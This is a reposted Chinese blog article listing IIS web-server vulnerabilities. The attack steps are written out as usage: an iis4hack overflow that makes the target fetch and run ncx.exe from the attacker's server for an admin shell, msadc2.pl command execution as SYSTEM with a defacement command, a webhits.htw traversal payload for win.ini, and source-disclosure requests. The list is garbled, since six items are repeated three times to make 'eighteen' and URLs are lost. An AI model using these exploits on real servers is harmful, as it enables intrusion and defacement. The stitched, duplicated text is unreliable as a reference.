博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
网管必知 IIS中常见的十八个安全漏洞(转)
阅读量:2496 次
发布时间:2019-05-11

本文共 7112 字,大约阅读时间需要 23 分钟。

1. IIS4hack缓冲溢出
  主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
  c:>iishack.exe 80 /ncx.exe
  然后你就使用netcat来连接你要检测的服务器:
  c:>nc 80
  如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip
  2.msadc
  IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help
  [quack@chat quack]$ perl msadc2.pl -h
  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --
  Usage: msadc.pl -h { -d -X -v }
  -h = host you want to scan (ip or domain)
  -d = delay between calls, default 1 second
  -X = dump Index Server path table, if available
  -N = query VbBusObj for NetBIOS name
  -V = use VbBusObj instead of ActiveDataFactory
  -v = verbose
  -e = external dictionary file for step 5
  -u = use UNC file
  -w = Windows 95 instead of Windows NT
  -c = v1 compatibility (three step query)
  -s = run only step
  Or a -R will resume a (v2) command session
  [quack@chat quack]$ perl msadc2.pl -hurl.gif
  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --
  Type the command line you want to run (cmd /c assumed):
  cmd /c
  如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的:
  echo hacked by me > d:inetpubwwwrootvictimwebindex.htm
  3.Codebrws.asp
  察看文件源代码
  url.gif
  4.Showcode.asp
  察看文件源代码
  url.gif
  5.Null.htw
  察看文件源代码
  url.gif
  6.webhits.dll & .htw
  hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
  url.gif如果你从服务器端获得如下信息:
  format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消
  这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
  /iissamples/issamples/oop/qfullhit.htw
  /iissamples/issamples/oop/qsumrhit.htw
  /isssamples/exair/search/qfullhit.htw
  /isssamples/exair/search/qsumrhit.htw
  /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
  一个攻击者可以使用如下的方法来访问系统中文件的内容:
  url.gif
  ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
  就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL: url.gif$DATA你就得到了源代码
  7. iis4hack缓冲溢出
  主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
  c:>iishack.exe 80 /ncx.exe
  然后你就使用netcat来连接你要检测的服务器:
  c:>nc 80
  如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip
  8.msadc
  IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help
  [quack@chat quack]$ perl msadc2.pl -h
  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --
  Usage: msadc.pl -h { -d -X -v }
  -h = host you want to scan (ip or domain)
  -d = delay between calls, default 1 second
  -X = dump Index Server path table, if available
  -N = query VbBusObj for NetBIOS name
  -V = use VbBusObj instead of ActiveDataFactory
  -v = verbose
  -e = external dictionary file for step 5
  -u = use UNC file
  -w = Windows 95 instead of Windows NT
  -c = v1 compatibility (three step query)
  -s = run only step
  Or a -R will resume a (v2) command session
  [quack@chat quack]$ perl msadc2.pl -hurl.gif
  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --
  Type the command line you want to run (cmd /c assumed):
  cmd /c
  如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的:
  echo hacked by me > d:inetpubwwwrootvictimwebindex.htm
  9.Codebrws.asp
  察看文件源代码
  url.gif
  10.Showcode.asp
  察看文件源代码
  url.gif
  11.Null.htw
  察看文件源代码
  url.gif
  12.webhits.dll & .htw
  hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
  url.gif如果你从服务器端获得如下信息:
  format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消
  这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
  /iissamples/issamples/oop/qfullhit.htw
  /iissamples/issamples/oop/qsumrhit.htw
  /isssamples/exair/search/qfullhit.htw
  /isssamples/exair/search/qsumrhit.htw
  /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
  一个攻击者可以使用如下的方法来访问系统中文件的内容:
  url.gif
  ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
  就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL: url.gif$DATA你就得到了源代码
  13. iis4hack缓冲溢出
  主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
  c:>iishack.exe 80 /ncx.exe
  然后你就使用netcat来连接你要检测的服务器:
  c:>nc 80
  如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip
  14.msadc
  IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help
  [quack@chat quack]$ perl msadc2.pl -h
  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --
  Usage: msadc.pl -h { -d -X -v }
  -h = host you want to scan (ip or domain)
  -d = delay between calls, default 1 second
  -X = dump Index Server path table, if available
  -N = query VbBusObj for NetBIOS name
  -V = use VbBusObj instead of ActiveDataFactory
  -v = verbose
  -e = external dictionary file for step 5
  -u = use UNC file
  -w = Windows 95 instead of Windows NT
  -c = v1 compatibility (three step query)
  -s = run only step
  Or a -R will resume a (v2) command session
  [quack@chat quack]$ perl msadc2.pl -hurl.gif
  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --
  Type the command line you want to run (cmd /c assumed):
  cmd /c
  如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的:
  echo hacked by me > d:inetpubwwwrootvictimwebindex.htm
  15.Codebrws.asp
  察看文件源代码
  url.gif
  16.Showcode.asp
  察看文件源代码
  url.gif
  17.Null.htw
  察看文件源代码
  url.gif
  18.webhits.dll & .htw
  hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
  url.gif如果你从服务器端获得如下信息:
  format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消
  这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
  /iissamples/issamples/oop/qfullhit.htw
  /iissamples/issamples/oop/qsumrhit.htw
  /isssamples/exair/search/qfullhit.htw
  /isssamples/exair/search/qsumrhit.htw
  /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
  一个攻击者可以使用如下的方法来访问系统中文件的内容:
  url.gif
  ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
  就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL:url.gif$DATA你就得到了源代码。

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10294527/viewspace-124891/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/10294527/viewspace-124891/

你可能感兴趣的文章
【2020-3-21】Mac安装Homebrew慢,解决办法
查看>>
influxdb 命令行输出时间为 yyyy-MM-dd HH:mm:ss(年月日时分秒)的方法
查看>>
已知子网掩码,确定ip地址范围
查看>>
判断时间或者数字是否连续
查看>>
docker-daemon.json各配置详解
查看>>
Docker(一)使用阿里云容器镜像服务
查看>>
Docker(三) 构建镜像
查看>>
FFmpeg 是如何实现多态的?
查看>>
FFmpeg 源码分析 - avcodec_send_packet 和 avcodec_receive_frame
查看>>
FFmpeg 新旧版本编码 API 的区别
查看>>
RecyclerView 源码深入解析——绘制流程、缓存机制、动画等
查看>>
Android 面试题整理总结(一)Java 基础
查看>>
Android 面试题整理总结(二)Java 集合
查看>>
学习笔记_vnpy实战培训day02
查看>>
学习笔记_vnpy实战培训day03
查看>>
VNPY- VnTrader基本使用
查看>>
VNPY - CTA策略模块策略开发
查看>>
VNPY - 事件引擎
查看>>
MongoDB基本语法和操作入门
查看>>
学习笔记_vnpy实战培训day04_作业
查看>>